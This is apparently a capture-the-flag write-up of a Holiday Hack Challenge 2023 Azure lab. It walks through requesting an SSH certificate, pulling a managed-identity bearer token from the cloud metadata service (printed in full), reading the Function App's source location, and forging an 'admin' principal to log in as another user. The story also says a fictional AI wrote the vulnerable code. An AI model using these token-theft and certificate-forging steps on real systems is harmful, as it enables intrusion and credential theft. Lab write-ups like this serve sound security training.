Certificate SSHenanigans⚓︎
Difficulty:
Direct link: Objective URL
Objective⚓︎
Request
Go to Pixel Island and review Alabaster Snowball's new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?
Alabaster Snowball
I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.
ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!
It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!
I'm a little wary though. I'd appreciate it if you could take a peek and confirm everything's secure before I deploy this
configuration to all the Geese Islands servers.
Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.
If you haven't heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.
Oh, and if you need to peek at the Function App code, there's a handy Azure REST API endpoint which will give you details about how the Function App is deployed.
Hints⚓︎
SSH Certificates Talk
Check out Thomas Bouve's talk and demo to learn all about how you can upgrade your SSH server configuration to leverage SSH certificates.
Azure Function App Source Code
The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from.
https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-source-control?view=rest-appservice-2022-03-01
Solution⚓︎
First of all we are provided with App URL where we can request certificates. https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl
We are asked to login to new Azure server at: ssh-server-vm.santaworkshopgeeseislands.org
In order to login to ssh server we need to generate SSH Private Key and Public Cert
ssh-keygen -t ed25519
Now using generated key we can request certificate from web app:
Once generated, we need to copy specific part of it after ssh_cert: and create new file in our /home/user/.ssh folder called id_ed25519-cert.pub. Chmod newly created file with chmod 600.
ssh -i /home/slingshot/.ssh/id_rsa monitor@ssh-server-vm.santaworkshopgeeseislands.org
And we are in:
id_ed25519 id_ed25519-cert.pub id_ed25519.pub
lukasz@ls:~/.ssh$ ssh -i /home/lukasz/.ssh/id_ed25519 monitor@ssh-server-vm.santaworkshopgeeseislands.org
The authenticity of host 'ssh-server-vm.santaworkshopgeeseislands.org (20.253.83.128)' can't be established.
ED25519 key fingerprint is SHA256:8c+xYRFV/F12R5iWkNmoiLYwmcJU4tzF9hnHugARFC0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ssh-server-vm.santaworkshopgeeseislands.org' (ED25519) to the list of known hosts.
monitor@ssh-server-vm:~$
┌──────────────── Satellite Tracking Interface ────────────────┐
│ ____ __ ______ __ │
│ / __/__ _/ //_ __/______ _____/ /__ ____ │
│ _\ \/ _ `/ __// / / __/ _ `/ __/ '_// __/ │
│ /___/\_,_/\__//_/ /_/ \_,_/\__/_\_\/_/ │
│ │
╞══════════════════════════════════════════════════════════════╡
│ │
│ Position: 1.145134°, -145.261629° │
│ Velocity: 3.0694 km/s │
│ Altitude: 35785.98 km above Earth's surface │
│ Signal Strength: 88.12% │
│ Solar Panel Status: Deployed │
│ Battery Status: Unknown │
│ Thermal Status: Unknown │
│ │
│ **** Geostationary orbit detected! **** │
│ │
└──────────────────────────────────────────────────────────────┘
monitor@ssh-server-vm:/etc/ssh/auth_principals$ ls alabaster monitor monitor@ssh-server-vm:/etc/ssh/auth_principals$ cat * admin elf
We need query metadata service to receive bearer token which will be required to query App service to get source control which was described in hint.
monitor@ssh-server-vm:~$ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDQxMjk3NDYsIm5iZiI6MTcwNDEyOTc0NiwiZXhwIjoxNzA0MjE2NDQ2LCJhaW8iOiJFMlZnWURqNnkzNk91dlZSeFhJdHN5VTN6ZnFQQXdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiI1WG1yZWJISElrbXoyT2FWaDFGZEJRIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.gmkph7lUK5xFtvuLzdJXK7z9J-oTxT-2hjm0imMIB8Dr71RxUh2-cVbTX9q21sqddH2CQjrEMklEnh6UOjVc840X2YAM_pJz3eQXnbkPZAlwvRrEo0OHznXSU9DMn1S2CJ3oifV3OKBhwLIjnycd7EXitgyrmMQwLL2ZS6Z1liBJsyLrtWI4csHsOKg9rE0GZgLtV-G1YaV4iu5rv3qI52kWhXwu5GpgBuKQT_UHAlUEz_dJUVnDhk9SqDsgwfIO2upVR7q6a71rSWLRfT9XCl3V5jyQ-QoBLi2cFGz5lQQHWiYmw-lxUFTAFPrCOPNWpDEhzP1SdqDWOVQOuqpOIA","client_id":"b84e06d3-aba1-4bcc-9626-2e0d76cba2ce","expires_in":"85606","expires_on":"1704216446","ext_expires_in":"86399","not_before":"1704129746","resource":"https://management.azure.com/","token_type":"Bearer"}monitor@ssh-server-vm:~$
We need to query Metadate service to check resources running in Azure:
REQUEST:
curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
OUTPUT:
{
"compute": {
"azEnvironment": "AzurePublicCloud",
"customData": "",
"evictionPolicy": "",
"isHostCompatibilityLayerVm": "false",
"licenseType": "",
"location": "eastus",
"name": "ssh-server-vm",
"offer": "",
"osProfile": {
"adminUsername": "",
"computerName": "",
"disablePasswordAuthentication": ""
},
"osType": "Linux",
"placementGroupId": "",
"plan": {
"name": "",
"product": "",
"publisher": ""
},
"platformFaultDomain": "0",
"platformUpdateDomain": "0",
"priority": "",
"provider": "Microsoft.Compute",
"publicKeys": [],
"publisher": "",
"resourceGroupName": "northpole-rg1",
"resourceId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm",
"securityProfile": {
"secureBootEnabled": "false",
"virtualTpmEnabled": "false"
},
"sku": "",
"storageProfile": {
"dataDisks": [],
"imageReference": {
"id": "",
"offer": "",
"publisher": "",
"sku": "",
"version": ""
},
"osDisk": {
"caching": "ReadWrite",
"createOption": "Attach",
"diffDiskSettings": {
"option": ""
},
"diskSizeGB": "30",
"encryptionSettings": {
"enabled": "false"
},
"image": {
"uri": ""
},
"managedDisk": {
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/disks/ssh-server-vm_os_disk",
"storageAccountType": "Standard_LRS"
},
"name": "ssh-server-vm_os_disk",
"osType": "Linux",
"vhd": {
"uri": ""
},
"writeAcceleratorEnabled": "false"
},
"resourceDisk": {
"size": "63488"
}
},
"subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"tags": "Project:HHC23",
"tagsList": [
{
"name": "Project",
"value": "HHC23"
}
],
"userData": "",
"version": "",
"vmId": "1f943876-80c5-4fc2-9a77-9011b0096c78",
"vmScaleSetName": "",
"vmSize": "Standard_B4ms",
"zone": ""
},
"network": {
"interface": [
{
"ipv4": {
"ipAddress": [
{
"privateIpAddress": "10.0.0.50",
"publicIpAddress": ""
}
],
"subnet": [
{
"address": "10.0.0.0",
"prefix": "24"
}
]
},
"ipv6": {
"ipAddress": []
},
"macAddress": "6045BDFE2D67"
}
]
}
}
Now we build final query:
Description for Gets the source control configuration of an app.
GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{name}/sourcecontrols/web?api-version=2022-03-01
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDQxMjk3NDYsIm5iZiI6MTcwNDEyOTc0NiwiZXhwIjoxNzA0MjE2NDQ2LCJhaW8iOiJFMlZnWURqNnkzNk91dlZSeFhJdHN5VTN6ZnFQQXdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiI1WG1yZWJISElrbXoyT2FWaDFGZEJRIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.gmkph7lUK5xFtvuLzdJXK7z9J-oTxT-2hjm0imMIB8Dr71RxUh2-cVbTX9q21sqddH2CQjrEMklEnh6UOjVc840X2YAM_pJz3eQXnbkPZAlwvRrEo0OHznXSU9DMn1S2CJ3oifV3OKBhwLIjnycd7EXitgyrmMQwLL2ZS6Z1liBJsyLrtWI4csHsOKg9rE0GZgLtV-G1YaV4iu5rv3qI52kWhXwu5GpgBuKQT_UHAlUEz_dJUVnDhk9SqDsgwfIO2upVR7q6a71rSWLRfT9XCl3V5jyQ-QoBLi2cFGz5lQQHWiYmw-lxUFTAFPrCOPNWpDEhzP1SdqDWOVQOuqpOIA" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01 | jq
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web",
"name": "northpole-ssh-certs-fa",
"type": "Microsoft.Web/sites/sourcecontrols",
"location": "East US",
"tags": {
"project": "northpole-ssh-certs",
"create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl"
},
"properties": {
"repoUrl": "https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa",
"branch": "main",
"isManualIntegration": false,
"isGitHubAction": true,
"deploymentRollbackEnabled": false,
"isMercurial": false,
"provisioningState": "Succeeded",
"gitHubActionConfiguration": {
"codeConfiguration": null,
"containerConfiguration": null,
"isLinux": true,
"generateWorkflowFile": true,
"workflowSettings": {
"appType": "functionapp",
"publishType": "code",
"os": "linux",
"variables": {
"runtimeVersion": "3.11"
},
"runtimeStack": "python",
"workflowApiVersion": "2020-12-01",
"useCanaryFusionServer": false,
"authType": "publishprofile"
}
}
}
}
Now we can see repo which is accessible here: https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa
There is also source code for the app https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa/blob/main/function_app.py
Now to request ssh certificate for alabaster (admin role) principal we need to include that in our request to web app. As we could see in source code those two values are expected by app. return PublicKey.from_string(ssh_pub_key), principal
awk '{print $1, $2}' ./id_ed25519.pub | sed 's/ /": "/' | sed 's/^/{"/' | sed 's/$/"}/' | sed 's/ssh-ed25519/ssh_pub_key/' |sed 's/: "/: "ssh-ed25519 /' > postme
cat postme | jq '. + {"principal": "admin"}' > postme_admin
curl -X POST -H "Content-Type: application/json" -d @postme_admin 'https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl' | jq -r .ssh_cert > id_ed25519-cert.pub
Now we can login on admin account using alabaster login
ssh -i /home/lukasz/.ssh/id_ed25519 alabaster@ssh-server-vm.santaworkshopgeeseislands.org
lukasz@ls:~/.ssh$ ssh -i /home/lukasz/.ssh/id_ed25519 alabaster@ssh-server-vm.santaworkshopgeeseislands.org alabaster@ssh-server-vm:~$ ls alabaster_todo.md impacket alabaster@ssh-server-vm:~$ cat alabaster_todo.md
Geese Islands IT & Security Todo List⚓︎
- Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.
Answer
Gingerbread
Response⚓︎
Alabaster Snowball
Oh my! I was so focused on the SSH configuration I completely missed the vulnerability in the Azure Function App.
Why would ChatNPT generate code with such a glaring vulnerability? It's almost like it wanted my system to be unsafe. Could ChatNPT be evil?
Thanks for the help, I'll go and update the application code immediately!
While we're on the topic of certificates, did you know Active Directory (AD) uses them as well? Apparently the service used to manage them can have misconfigurations too.
You might be wondering about that SatTrackr tool I've installed on the monitor account?
Here's the thing, on my nightly stargazing adventures I started noticing the same satellite above Geese Islands.
I wrote that satellite tracker tool to collect some additional data and sure enough, it's in a geostationary orbit above us.
No idea what that means yet, but I'm keeping a close eye on that thing!